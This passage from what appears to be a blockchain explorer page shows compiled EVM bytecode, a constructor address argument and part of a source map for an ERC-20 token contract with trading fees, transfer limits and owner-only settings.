20918202929092010152601654611a189130911684610ee6565b60165460405163791ac94760e01b81526001600160a01b039091169063791ac94790611a51908590600090869030904290600401611f5b565b600060405180830381600087803b158015611a6b57600080fd5b505af1158015611a7f573d6000803e3d6000fd5b50506019805460ff1916905550505050565b6006546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015611acb573d6000803e3d6000fd5b5050565b600080611adc8385611efd565b9050838110156118c25760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016105fa565b60006118c283836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611806565b60008183611b915760405162461bcd60e51b81526004016105fa9190611b9e565b5060006118378486611f23565b60006020808352835180602085015260005b81811015611bcc57858101830151858201604001528201611bb0565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461063c57600080fd5b60008060408385031215611c1557600080fd5b8235611c2081611bed565b946020939093013593505050565b600080600060608486031215611c4357600080fd5b8335611c4e81611bed565b92506020840135611c5e81611bed565b929592945050506040919091013590565b600060208284031215611c8157600080fd5b81356118c281611bed565b600060208284031215611c9e57600080fd5b5035919050565b801515811461063c57600080fd5b600060208284031215611cc557600080fd5b81356118c281611ca5565b60008060408385031215611ce357600080fd5b8235611cee81611bed565b91506020830135611cfe81611bed565b809150509250929050565b60008060408385031215611d1c57600080fd5b8235611c2081611ca5565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115611dad578160001904821115611d9357611d93611d5c565b80851615611da057918102915b93841c9390800290611d77565b509250929050565b600082611dc4575060016105ca565b81611dd1575060006105ca565b8160018114611de75760028114611df157611e0d565b60019150506105ca565b60ff841115611e0257611e02611d5c565b50506001821b6105ca565b5060208310610133831016604e8410600b8410161715611e30575081810a6105ca565b611e3a8383611d72565b8060001904821115611e4e57611e4e611d5c565b029392505050565b60006118c260ff841683611db5565b80820281158282048414176105ca576105ca611d5c565b600060208284031215611e8e57600080fd5b81516118c281611bed565b600080600060608486031215611eae57600080fd5b8351925060208401519150604084015190509250925092565b600060208284031215611ed957600080fd5b81516118c281611ca5565b600060018201611ef657611ef6611d5c565b5060010190565b808201808211156105ca576105ca611d5c565b818103818111156105ca576105ca611d5c565b600082611f4057634e487b7160e01b600052601260045260246000fd5b500490565b634e487b7160e01b600052603260045260246000fd5b600060a08201878352602087602085015260a0604085015281875180845260c08601915060208901935060005b81811015611fad5784516001600160a01b031683529383019391830191600101611f88565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122038139ab94049e14b203438c278902cb7d6cafe0bfad2108805f9f234c75e249f64736f6c63430008180033000000000000000000000000dc24294aa879e107c8a8dc7ae84330c3c432e432

Deployed Bytecode

0x6080604052600436106101c65760003560e01c80637b7cfc01116100f7578063a9059cbb11610095578063dd62ed3e11610064578063dd62ed3e14610503578063e68d0b0514610549578063f2fde38b14610569578063f5b3c3bf1461058957600080fd5b8063a9059cbb1461048d578063bf474bed146104ad578063c4e2b619146104c3578063d45cce65146104e357600080fd5b80638f9a55c0116100d15780638f9a55c01461040957806390b605491461041f57806390d49b9d1461043f57806395d89b411461045f57600080fd5b80637b7cfc01146103c05780637d1db4a5146103d55780638da5cb5b146103eb57600080fd5b8063313ce56711610164578063622565891161013e57806362256589146103405780636e4636671461035557806370a0823114610375578063715018a6146103ab57600080fd5b8063313ce567146102cc57806349bd5a5e146102e857806353bc13dc1461032057600080fd5b80630faee56f116101a05780630faee56f1461025d57806310c435aa1461028157806318160ddd1461029757806323b872dd146102ac57600080fd5b806306fdde03146101d2578063095ea7b3146102165780630f144a481461024657600080fd5b366101cd57005b600080fd5b3480156101de57600080fd5b506040805180820190915260098152682630bd3c902132b0b960b91b60208201525b60405161020d9190611b9e565b60405180910390f35b34801561022257600080fd5b50610236610231366004611c02565b6105b9565b604051901515815260200161020d565b34801561025257600080fd5b5061025b6105d0565b005b34801561026957600080fd5b5061027360155481565b60405190815260200161020d565b34801561028d57600080fd5b5061027360185481565b3480156102a357600080fd5b5061027361063f565b3480156102b857600080fd5b506102366102c7366004611c2e565b610660565b3480156102d857600080fd5b506040516009815260200161020d565b3480156102f457600080fd5b50601754610308906001600160a01b031681565b6040516001600160a01b03909116815260200161020d565b34801561032c57600080fd5b5061025b61033b366004611c6f565b6106c9565b34801561034c57600080fd5b5061025b610717565b34801561036157600080fd5b5061025b610370366004611c8c565b6107c9565b34801561038157600080fd5b50610273610390366004611c6f565b6001600160a01b031660009081526001602052604090205490565b3480156103b757600080fd5b5061025b6107f8565b3480156103cc57600080fd5b5061025b61086c565b3480156103e157600080fd5b5061027360125481565b3480156103f757600080fd5b506000546001600160a01b0316610308565b34801561041557600080fd5b5061027360135481565b34801561042b57600080fd5b5061025b61043a366004611cb3565b610c6f565b34801561044b57600080fd5b5061025b61045a366004611c6f565b610cb5565b34801561046b57600080fd5b50604080518082019091526005815264504544445960d81b6020820152610200565b34801561049957600080fd5b506102366104a8366004611c02565b610d01565b3480156104b957600080fd5b5061027360145481565b3480156104cf57600080fd5b5061025b6104de366004611c02565b610d0e565b3480156104ef57600080fd5b506019546102369062010000900460ff1681565b34801561050f57600080fd5b5061027361051e366004611cd0565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b34801561055557600080fd5b5061025b610564366004611d09565b610db4565b34801561057557600080fd5b5061025b610584366004611c6f565b610dfc565b34801561059557600080fd5b506102366105a4366004611c6f565b60046020526000908152604090205460ff1681565b60006105c6338484610ee6565b5060015b92915050565b6000546001600160a01b031633146106035760405162461bcd60e51b81526004016105fa90611d27565b60405180910390fd5b6006546040516001600160a01b03909116904780156108fc02916000818181858888f1935050505015801561063c573d6000803e3d6000fd5b50565b600061064d6009600a611e56565b61065b90633b9aca00611e65565b905090565b600061066d84848461100a565b6106bf84336106ba85604051806060016040528060288152602001611fcf602891396001600160a01b038a1660009081526002602090815260408083203384529091529020549190611806565b610ee6565b5060019392505050565b6000546001600160a01b031633146106f35760405162461bcd60e51b81526004016105fa90611d27565b6001600160a01b03166000908152600460205260409020805460ff19166001179055565b6000546001600160a01b031633146107415760405162461bcd60e51b81526004016105fa90611d27565b61074d6009600a611e56565b61075b90633b9aca00611e65565b60125561076a6009600a611e56565b61077890633b9aca00611e65565b6013557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6107a86009600a611e56565b6107b690633b9aca00611e65565b60405190815260200160405180910390a1565b6000546001600160a01b031633146107f35760405162461bcd60e51b81526004016105fa90611d27565b601855565b6000546001600160a01b031633146108225760405162461bcd60e51b81526004016105fa90611d27565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108965760405162461bcd60e51b81526004016105fa90611d27565b601754600160a01b900460ff16156108f05760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016105fa565b601680546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d90811790915561093990309061092b6009600a611e56565b6106ba90633b9aca00611e65565b601660009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801561098c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109b09190611e7c565b6001600160a01b031663c9c6539630601660009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610a12573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a369190611e7c565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610a83573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610aa79190611e7c565b601780546001600160a01b039283166001600160a01b0319909116811782556000908152600460209081526040808320805460ff199081166001908117909255945486168452600390925290912080549092161790556016541663f305d7194730610b27816001600160a01b031660009081526001602052604090205490565b600080610b3c6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610ba4573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610bc99190611e99565b505060175460165460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af1158015610c22573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c469190611ec7565b506019805461ff0019166101001790556017805460ff60a01b1916600160a01b17905543600755565b6000546001600160a01b03163314610c995760405162461bcd60e51b81526004016105fa90611d27565b60198054911515620100000262ff000019909216919091179055565b6000546001600160a01b03163314610cdf5760405162461bcd60e51b81526004016105fa90611d27565b600680546001600160a01b0319166001600160a01b0392909216919091179055565b60006105c633848461100a565b6000546001600160a01b03163314610d385760405162461bcd60e51b81526004016105fa90611d27565b60065460405163a9059cbb60e01b81526001600160a01b039182166004820152602481018390529083169063a9059cbb906044016020604051808303816000875af1158015610d8b573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610daf9190611ec7565b505050565b6000546001600160a01b03163314610dde5760405162461bcd60e51b81526004016105fa90611d27565b601980549215156101000261ff001990931692909217909155601555565b6000546001600160a01b03163314610e265760405162461bcd60e51b81526004016105fa90611d27565b6001600160a01b038116610e8b5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016105fa565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610f485760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016105fa565b6001600160a01b038216610fa95760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016105fa565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b03831661106e5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016105fa565b6001600160a01b0382166110d05760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016105fa565b600081116111325760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016105fa565b6000816111476000546001600160a01b031690565b6001600160a01b0316856001600160a01b03161415801561117657506000546001600160a01b03858116911614155b156116c2576111a760646111a1600c54600f54116111965760085461119a565b600a545b8690611840565b906118c9565b915060075443036112325743600090815260056020526040902054603c116112115760405162461bcd60e51b815260206004820181905260248201527f457863656564732062757973206f6e2074686520666972737420626c6f636b2e60448201526064016105fa565b43600090815260056020526040812080549161122c83611ee4565b91905055505b6001600160a01b03851660009081526004602052604090205460ff16801561126857506016546001600160a01b03858116911614155b801561128d57506001600160a01b03841660009081526003602052604090205460ff16155b15611375576012548311156112e45760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e0000000000000060448201526064016105fa565b60135483611307866001600160a01b031660009081526001602052604090205490565b6113119190611efd565b111561135f5760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e00000000000060448201526064016105fa565b600f805490600061136f83611ee4565b91905055505b6001600160a01b03841660009081526004602052604090205460ff161580156113b757506001600160a01b03841660009081526003602052604090205460ff16155b1561143757601354836113df866001600160a01b031660009081526001602052604090205490565b6113e99190611efd565b11156114375760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e00000000000060448201526064016105fa565b6001600160a01b03841660009081526004602052604090205460ff16801561146857506001600160a01b0385163014155b156114955761149260646111a1600d54600f54116114885760095461119a565b600b548690611840565b91505b6001600160a01b03851630148015906114c657506001600160a01b03851660009081526003602052604090205460ff165b1561151357600060125484116114de57506016611511565b600d54600f54116114f1576009546114f5565b600b545b60125490915061150e906115098484611840565b61190b565b91505b505b6001600160a01b03851660009081526004602052604090205460ff1615801561155557506001600160a01b03841660009081526004602052604090205460ff16155b801561156a57506001600160a01b0385163014155b1561157457600091505b3060009081526001602052604090205460195462010000900460ff16801561159f575060195460ff16155b80156115c357506001600160a01b03851660009081526004602052604090205460ff165b80156115d65750601954610100900460ff165b80156115e55750600e54600f54115b15611645576011544311156115fa5760006010555b60145481111561161c5761161c611617856115098460155461190b565b611920565b4761162647611a91565b6010805490600061163683611ee4565b909155505043601155506116c0565b60195460ff1615801561167057506001600160a01b03851660009081526004602052604090205460ff165b80156116835750601954610100900460ff165b80156116925750600e54600f54115b156116c0576014548111156116b4576116b4611617856115098460155461190b565b476116be47611a91565b505b505b811561173c57306000908152600160205260409020546116e29083611acf565b30600081815260016020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906117339086815260200190565b60405180910390a35b6001600160a01b03851660009081526001602052604090205461175f9082611b2e565b6001600160a01b0386166000908152600160205260409020556117a46117858484611b2e565b6001600160a01b03861660009081526001602052604090205490611acf565b6001600160a01b0380861660008181526001602052604090209290925586167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6117ee8686611b2e565b60405190815260200160405180910390a35050505050565b6000818484111561182a5760405162461bcd60e51b81526004016105fa9190611b9e565b5060006118378486611f10565b95945050505050565b600082600003611852575060006105ca565b600061185e8385611e65565b90508261186b8583611f23565b146118c25760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016105fa565b9392505050565b60006118c283836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611b70565b600081831161191a57826118c2565b50919050565b6019805460ff19166001179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061196257611962611f45565b6001600160a01b03928316602091820292909201810191909152601654604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156119bb573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906119df9190611e7c565b816001815181106119f2576119f2611f45565b6001600160a01b039283166020918202929092010152601654611a189130911684610ee6565b60165460405163791ac94760e01b81526001600160a01b039091169063791ac94790611a51908590600090869030904290600401611f5b565b600060405180830381600087803b158015611a6b57600080fd5b505af1158015611a7f573d6000803e3d6000fd5b50506019805460ff1916905550505050565b6006546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015611acb573d6000803e3d6000fd5b5050565b600080611adc8385611efd565b9050838110156118c25760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016105fa565b60006118c283836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611806565b60008183611b915760405162461bcd60e51b81526004016105fa9190611b9e565b5060006118378486611f23565b60006020808352835180602085015260005b81811015611bcc57858101830151858201604001528201611bb0565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461063c57600080fd5b60008060408385031215611c1557600080fd5b8235611c2081611bed565b946020939093013593505050565b600080600060608486031215611c4357600080fd5b8335611c4e81611bed565b92506020840135611c5e81611bed565b929592945050506040919091013590565b600060208284031215611c8157600080fd5b81356118c281611bed565b600060208284031215611c9e57600080fd5b5035919050565b801515811461063c57600080fd5b600060208284031215611cc557600080fd5b81356118c281611ca5565b60008060408385031215611ce357600080fd5b8235611cee81611bed565b91506020830135611cfe81611bed565b809150509250929050565b60008060408385031215611d1c57600080fd5b8235611c2081611ca5565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115611dad578160001904821115611d9357611d93611d5c565b80851615611da057918102915b93841c9390800290611d77565b509250929050565b600082611dc4575060016105ca565b81611dd1575060006105ca565b8160018114611de75760028114611df157611e0d565b60019150506105ca565b60ff841115611e0257611e02611d5c565b50506001821b6105ca565b5060208310610133831016604e8410600b8410161715611e30575081810a6105ca565b611e3a8383611d72565b8060001904821115611e4e57611e4e611d5c565b029392505050565b60006118c260ff841683611db5565b80820281158282048414176105ca576105ca611d5c565b600060208284031215611e8e57600080fd5b81516118c281611bed565b600080600060608486031215611eae57600080fd5b8351925060208401519150604084015190509250925092565b600060208284031215611ed957600080fd5b81516118c281611ca5565b600060018201611ef657611ef6611d5c565b5060010190565b808201808211156105ca576105ca611d5c565b818103818111156105ca576105ca611d5c565b600082611f4057634e487b7160e01b600052601260045260246000fd5b500490565b634e487b7160e01b600052603260045260246000fd5b600060a08201878352602087602085015260a0604085015281875180845260c08601915060208901935060005b81811015611fad5784516001600160a01b031683529383019391830191600101611f88565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122038139ab94049e14b203438c278902cb7d6cafe0bfad2108805f9f234c75e249f64736f6c63430008180033

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

000000000000000000000000dc24294aa879e107c8a8dc7ae84330c3c432e432

-----Decoded View---------------
Arg [0] : _w (address): 0xDc24294Aa879E107C8a8Dc7aE84330c3C432E432

-----Encoded View---------------
1 Constructor Arguments found :
Arg [0] : 000000000000000000000000dc24294aa879e107c8a8dc7ae84330c3c432e432


Deployed Bytecode Sourcemap

3839:9855:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5885:83;;;;;;;;;;-1:-1:-1;5955:5:0;;;;;;;;;;;;-1:-1:-1;;;5955:5:0;;;;5885:83;;;;;;;:::i;:::-;;;;;;;;6718:161;;;;;;;;;;-1:-1:-1;6718:161:0;;;;;:::i;:::-;;:::i;:::-;;;1188:14:1;;1181:22;1163:41;;1151:2;1136:18;6718:161:0;1023:187:1;12182:111:0;;;;;;;;;;;;;:::i;:::-;;5074:41;;;;;;;;;;;;;;;;;;;1361:25:1;;;1349:2;1334:18;5074:41:0;1215:177:1;5239:32:0;;;;;;;;;;;;;;;;6162:95;;;;;;;;;;;;;:::i;6887:313::-;;;;;;;;;;-1:-1:-1;6887:313:0;;;;;:::i;:::-;;:::i;6071:83::-;;;;;;;;;;-1:-1:-1;6071:83:0;;4718:1;2000:36:1;;1988:2;1973:18;6071:83:0;1858:184:1;5173:28:0;;;;;;;;;;-1:-1:-1;5173:28:0;;;;-1:-1:-1;;;;;5173:28:0;;;;;;-1:-1:-1;;;;;2211:32:1;;;2193:51;;2181:2;2166:18;5173:28:0;2047:203:1;7551:96:0;;;;;;;;;;-1:-1:-1;7551:96:0;;;;;:::i;:::-;;:::i;12581:158::-;;;;;;;;;;;;;:::i;11969:102::-;;;;;;;;;;-1:-1:-1;11969:102:0;;;;;:::i;:::-;;:::i;6265:119::-;;;;;;;;;;-1:-1:-1;6265:119:0;;;;;:::i;:::-;-1:-1:-1;;;;;6358:18:0;6331:7;6358:18;;;:9;:18;;;;;;;6265:119;2670:148;;;;;;;;;;;;;:::i;12847:807::-;;;;;;;;;;;;;:::i;4909:54::-;;;;;;;;;;;;;;;;2456:79;;;;;;;;;;-1:-1:-1;2494:7:0;2521:6;-1:-1:-1;;;;;2521:6:0;2456:79;;4970:55;;;;;;;;;;;;;;;;12079:95;;;;;;;;;;-1:-1:-1;12079:95:0;;;;;:::i;:::-;;:::i;12457:116::-;;;;;;;;;;-1:-1:-1;12457:116:0;;;;;:::i;:::-;;:::i;5976:87::-;;;;;;;;;;-1:-1:-1;6048:7:0;;;;;;;;;;;;-1:-1:-1;;;6048:7:0;;;;5976:87;;6392:167;;;;;;;;;;-1:-1:-1;6392:167:0;;;;;:::i;:::-;;:::i;5032:35::-;;;;;;;;;;;;;;;;12301:148;;;;;;;;;;-1:-1:-1;12301:148:0;;;;;:::i;:::-;;:::i;5351:29::-;;;;;;;;;;-1:-1:-1;5351:29:0;;;;;;;;;;;6567:143;;;;;;;;;;-1:-1:-1;6567:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;6675:18:0;;;6648:7;6675:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;6567:143;11818;;;;;;;;;;-1:-1:-1;11818:143:0;;;;;:::i;:::-;;:::i;2826:244::-;;;;;;;;;;-1:-1:-1;2826:244:0;;;;;:::i;:::-;;:::i;4099:43::-;;;;;;;;;;-1:-1:-1;4099:43:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;6718:161;6793:4;6810:39;291:10;6833:7;6842:6;6810:8;:39::i;:::-;-1:-1:-1;6867:4:0;6718:161;;;;;:::o;12182:111::-;2583:6;;-1:-1:-1;;;;;2583:6:0;291:10;2583:22;2575:67;;;;-1:-1:-1;;;2575:67:0;;;;;;;:::i;:::-;;;;;;;;;12242:10:::1;::::0;12234:51:::1;::::0;-1:-1:-1;;;;;12242:10:0;;::::1;::::0;12263:21:::1;12234:51:::0;::::1;;;::::0;12242:10:::1;12234:51:::0;12242:10;12234:51;12263:21;12242:10;12234:51;::::1;;;;;;;;;;;;;::::0;::::1;;;;;;12182:111::o:0;6162:95::-;6215:7;4777:13;4718:1;4777:2;:13;:::i;:::-;4761:29;;:13;:29;:::i;:::-;6235:14;;6162:95;:::o;6887:313::-;6985:4;7002:36;7012:6;7020:9;7031:6;7002:9;:36::i;:::-;7049:121;7058:6;291:10;7080:89;7118:6;7080:89;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;7080:19:0;;;;;;:11;:19;;;;;;;;291:10;7080:33;;;;;;;;;;:37;:89::i;:::-;7049:8;:121::i;:::-;-1:-1:-1;7188:4:0;6887:313;;;;;:::o;7551:96::-;2583:6;;-1:-1:-1;;;;;2583:6:0;291:10;2583:22;2575:67;;;;-1:-1:-1;;;2575:67:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;7616:16:0::1;;::::0;;;:10:::1;:16;::::0;;;;:23;;-1:-1:-1;;7616:23:0::1;7635:4;7616:23;::::0;;7551:96::o;12581:158::-;2583:6;;-1:-1:-1;;;;;2583:6:0;291:10;2583:22;2575:67;;;;-1:-1:-1;;;2575:67:0;;;;;;;:::i;:::-;4777:13:::1;4718:1;4777:2;:13;:::i;:::-;4761:29;::::0;:13:::1;:29;:::i;:::-;12633:12;:22:::0;4777:13:::1;4718:1;4777:2;:13;:::i;:::-;4761:29;::::0;:13:::1;:29;:::i;:::-;12666:14;:22:::0;12704:27:::1;4777:13;4718:1;4777:2;:13;:::i;:::-;4761:29;::::0;:13:::1;:29;:::i;:::-;12704:27;::::0;1361:25:1;;;1349:2;1334:18;12704:27:0::1;;;;;;;12581:158::o:0;11969:102::-;2583:6;;-1:-1:-1;;;;;2583:6:0;291:10;2583:22;2575:67;;;;-1:-1:-1;;;2575:67:0;;;;;;;:::i;:::-;12041:13:::1;:22:::0;11969:102::o;2670:148::-;2583:6;;-1:-1:-1;;;;;2583:6:0;291:10;2583:22;2575:67;;;;-1:-1:-1;;;2575:67:0;;;;;;;:::i;:::-;2777:1:::1;2761:6:::0;;2740:40:::1;::::0;-1:-1:-1;;;;;2761:6:0;;::::1;::::0;2740:40:::1;::::0;2777:1;;2740:40:::1;2808:1;2791:19:::0;;-1:-1:-1;;;;;;2791:19:0::1;::::0;;2670:148::o;12847:807::-;2583:6;;-1:-1:-1;;;;;2583:6:0;291:10;2583:22;2575:67;;;;-1:-1:-1;;;2575:67:0;;;;;;;:::i;:::-;12910:11:::1;::::0;-1:-1:-1;;;12910:11:0;::::1;;;12909:12;12901:47;;;::::0;-1:-1:-1;;;12901:47:0;;6013:2:1;12901:47:0::1;::::0;::::1;5995:21:1::0;6052:2;6032:18;;;6025:30;6091:25;6071:18;;;6064:53;6134:18;;12901:47:0::1;5811:347:1::0;12901:47:0::1;12959:15;:80:::0;;-1:-1:-1;;;;;;12959:80:0::1;12996:42;12959:80:::0;;::::1;::::0;;;13050:58:::1;::::0;13067:4:::1;::::0;4777:13:::1;4718:1;4777:2;:13;:::i;:::-;4761:29;::::0;:13:::1;:29;:::i;13050:58::-;13153:15;;;;;;;;;-1:-1:-1::0;;;;;13153:15:0::1;-1:-1:-1::0;;;;;13153:23:0::1;;:25;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;13135:55:0::1;;13199:4;13206:15;;;;;;;;;-1:-1:-1::0;;;;;13206:15:0::1;-1:-1:-1::0;;;;;13206:20:0::1;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;13135:94;::::0;-1:-1:-1;;;;;;13135:94:0::1;::::0;;;;;;-1:-1:-1;;;;;6649:15:1;;;13135:94:0::1;::::0;::::1;6631:34:1::0;6701:15;;6681:18;;;6674:43;6566:18;;13135:94:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;13119:13;:110:::0;;-1:-1:-1;;;;;13119:110:0;;::::1;-1:-1:-1::0;;;;;;13119:110:0;;::::1;::::0;::::1;::::0;;:13:::1;13240:34:::0;;;:10:::1;:34;::::0;;;;;;;:41;;-1:-1:-1;;13240:41:0;;::::1;13119:110:::0;13240:41;;::::1;::::0;;;13308:13;;;::::1;13292:31:::0;;:7:::1;:31:::0;;;;;;:38;;;;::::1;;::::0;;13341:15:::1;::::0;::::1;:31;13380:21;13411:4;13417:24;13411:4:::0;-1:-1:-1;;;;;6358:18:0;6331:7;6358:18;;;:9;:18;;;;;;;6265:119;13417:24:::1;13442:1;13444::::0;13446:7:::1;2494::::0;2521:6;-1:-1:-1;;;;;2521:6:0;;2456:79;13446:7:::1;13341:129;::::0;::::1;::::0;;;-1:-1:-1;;;;;;13341:129:0;;;-1:-1:-1;;;;;7087:15:1;;;13341:129:0::1;::::0;::::1;7069:34:1::0;7119:18;;;7112:34;;;;7162:18;;;7155:34;;;;7205:18;;;7198:34;7269:15;;;7248:19;;;7241:44;13454:15:0::1;7301:19:1::0;;;7294:35;7003:19;;13341:129:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;13488:13:0::1;::::0;13519:15:::1;::::0;13481:71:::1;::::0;-1:-1:-1;;;13481:71:0;;-1:-1:-1;;;;;13519:15:0;;::::1;13481:71;::::0;::::1;7825:51:1::0;-1:-1:-1;;7892:18:1;;;7885:34;13488:13:0;::::1;::::0;-1:-1:-1;13481:29:0::1;::::0;7798:18:1;;13481:71:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;13563:11:0::1;:18:::0;;-1:-1:-1;;13563:18:0::1;;;::::0;;13592:11:::1;:18:::0;;-1:-1:-1;;;;13592:18:0::1;-1:-1:-1::0;;;13592:18:0::1;::::0;;13634:12:::1;13621:10;:25:::0;12847:807::o;12079:95::-;2583:6;;-1:-1:-1;;;;;2583:6:0;291:10;2583:22;2575:67;;;;-1:-1:-1;;;2575:67:0;;;;;;;:::i;:::-;12146:10:::1;:20:::0;;;::::1;;::::0;::::1;-1:-1:-1::0;;12146:20:0;;::::1;::::0;;;::::1;::::0;;12079:95::o;12457:116::-;2583:6;;-1:-1:-1;;;;;2583:6:0;291:10;2583:22;2575:67;;;;-1:-1:-1;;;2575:67:0;;;;;;;:::i;:::-;12531:10:::1;:34:::0;;-1:-1:-1;;;;;;12531:34:0::1;-1:-1:-1::0;;;;;12531:34:0;;;::::1;::::0;;;::::1;::::0;;12457:116::o;6392:167::-;6470:4;6487:42;291:10;6511:9;6522:6;6487:9;:42::i;12301:148::-;2583:6;;-1:-1:-1;;;;;2583:6:0;291:10;2583:22;2575:67;;;;-1:-1:-1;;;2575:67:0;;;;;;;:::i;:::-;12421:10:::1;::::0;12393:48:::1;::::0;-1:-1:-1;;;12393:48:0;;-1:-1:-1;;;;;12421:10:0;;::::1;12393:48;::::0;::::1;7825:51:1::0;7892:18;;;7885:34;;;12393:27:0;;::::1;::::0;::::1;::::0;7798:18:1;;12393:48:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;12301:148:::0;;:::o;11818:143::-;2583:6;;-1:-1:-1;;;;;2583:6:0;291:10;2583:22;2575:67;;;;-1:-1:-1;;;2575:67:0;;;;;;;:::i;:::-;11901:11:::1;:21:::0;;;::::1;;;;-1:-1:-1::0;;11901:21:0;;::::1;::::0;;;::::1;::::0;;;11933:11:::1;:20:::0;11818:143::o;2826:244::-;2583:6;;-1:-1:-1;;;;;2583:6:0;291:10;2583:22;2575:67;;;;-1:-1:-1;;;2575:67:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;2915:22:0;::::1;2907:73;;;::::0;-1:-1